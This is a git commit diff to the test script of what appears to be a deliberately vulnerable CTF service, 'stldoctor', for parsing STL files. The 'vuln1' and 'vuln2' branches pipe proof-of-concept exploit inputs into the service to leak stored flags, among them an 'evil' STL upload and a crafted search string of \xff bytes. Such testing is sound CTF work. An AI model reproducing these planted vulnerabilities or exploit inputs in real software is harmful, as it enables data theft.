diff options
| author | Louis Burda <quent.burda@gmail.com> | 2021-05-19 20:39:47 +0200 |
|---|---|---|
| committer | Louis Burda <quent.burda@gmail.com> | 2021-05-19 20:39:47 +0200 |
| commit | bcb8884e6fb74b6d3e3c234caa8ffec7be005ecf (patch) | |
| tree | e8f9680ae2809ba46c627e493c4c76d916c0943f /service/tests | |
| parent | 16b3dff93e5d1096174749e1b809728f585d95fb (diff) | |
| download | enowars5-service-stldoctor-bcb8884e6fb74b6d3e3c234caa8ffec7be005ecf.tar.gz enowars5-service-stldoctor-bcb8884e6fb74b6d3e3c234caa8ffec7be005ecf.zip | |
added permium users, second vuln and minor fixes all around
Diffstat (limited to 'service/tests')
| -rw-r--r-- | service/tests/test.sh | 93 |
1 files changed, 67 insertions, 26 deletions
diff --git a/service/tests/test.sh b/service/tests/test.sh index 69e3ea1..ddefa03 100644 --- a/service/tests/test.sh +++ b/service/tests/test.sh @@ -2,13 +2,18 @@ set -e -# RUNTYPE=1 +if [ -z "$SRCDIR" -o -z "$DATADIR" ]; then + echo "Missing either SRCDIR or DATADIR env vars" + exit 1 +fi + +export RESULTDIR="$DATADIR/uploads" +export ECHO_INPUT=1 SCRIPTPATH="$(dirname $(readlink -f "$0"))" -cd "$SCRIPTPATH" +TESTDATA="$SCRIPTPATH/data" -export RESULTDIR="../data/scans" -export ECHO_INPUT=1 +cd "$SRCDIR" announce() { count=$(echo "$1" | wc -c) @@ -25,7 +30,7 @@ print() } checkleaks() { - valgrind --leak-check=full ./stldoctor 2>&1 | tee /tmp/testlog + valgrind --leak-check=full ./build/stldoctor 2>&1 | tee /tmp/testlog if [ -z "$(grep "no leaks are possible" /tmp/testlog)" ]; then echo "Valgrind exited with errors!" exit 1 @@ -38,42 +43,43 @@ connect() { elif [ "$RUNTYPE" == "debug" ]; then checkleaks else - ./stldoctor + ./build/stldoctor fi } +[ ! -z "$RESULTDIR" ] && rm -rf "$RESULTDIR" +mkdir -p "$RESULTDIR" + if [ "$1" == "stl" ]; then announce "Testing ASCII STL Parsing" ( echo "echo" - echo "submit" - cat tests/sample-ascii.stl | wc -c - cat tests/sample-ascii.stl + echo "upload" + cat "$TESTDATA/sample-ascii.stl" | wc -c + cat "$TESTDATA/sample-ascii.stl" echo "ASCII-testname" ) | checkleaks announce "Testing BIN STL Parsing" ( echo "echo" - echo "submit" - cat tests/sample-binary.stl | wc -c - cat tests/sample-binary.stl + echo "upload" + cat "$TESTDATA/sample-binary.stl" | wc -c + cat "$TESTDATA/sample-binary.stl" echo "BIN-testname" ) | checkleaks -elif [ "$1" == "poc" ]; then - - announce "Testing Proof-Of-Concept" +elif [ "$1" == "vuln1" ]; then - [ ! -z "$RESULTDIR" ] && rm -rf "$RESULTDIR"/* + announce "Testing Flagstore 1" echo -e "\n--- Uploading target STL ---\n" 1>&2 ( echo "echo" - echo "submit" - cat tests/flag1.stl | wc -c - cat tests/flag1.stl + echo "upload" + cat "$TESTDATA/flag1.stl" | wc -c + cat "$TESTDATA/flag1.stl" echo "N0TaFL4G" echo "exit" ) | connect @@ -81,9 +87,9 @@ elif [ "$1" == "poc" ]; then echo -e "\n--- Uploading evil STL ---\n" 1>&2 ( echo "echo" - echo "submit" - cat tests/evil1.stl | wc -c - cat tests/evil1.stl + echo "upload" + cat "$TESTDATA/evil1.stl" | wc -c + cat "$TESTDATA/evil1.stl" echo "EV1L" echo "exit" ) | connect @@ -93,27 +99,62 @@ elif [ "$1" == "poc" ]; then echo "echo" # try index 0 - echo "query" + echo "search" echo "EV1L" echo "0" echo "n" - echo "query last" + echo "search last" echo "0" echo "n" # try index 1 - echo "query" + echo "search" echo -e "EV1L" echo "0" echo "n" - echo "query last" + echo "search last" echo "1" echo "n" echo "exit" ) | connect +elif [ "$1" == "vuln2" ]; then + + announce "Testing Flagstore 2" + + echo -e "\n--- Uploading target STL ---\n" 1>&2 + ( + echo "echo" + echo "auth test" + echo "upload" + cat "$TESTDATA/flag1.stl" | wc -c + cat "$TESTDATA/flag1.stl" + echo "N0TaFL4G" + echo "exit" + ) | connect + + echo -e "\n--- Testing Exploit ---\n" 1>&2 + ( + echo "echo" + echo -e "search \xff\xff\xff\xff\xff0000000000000000" + echo "auth" + echo "list" + echo "exit" + ) | connect + +elif [ "$1" == "authupload" ]; then + ( + echo "echo" + + echo "auth test" + echo "upload" + cat "$TESTDATA/sample-ascii.stl" | wc -c + cat "$TESTDATA/sample-ascii.stl" + echo "testname" + echo "list" + ) | connect else connect fi |
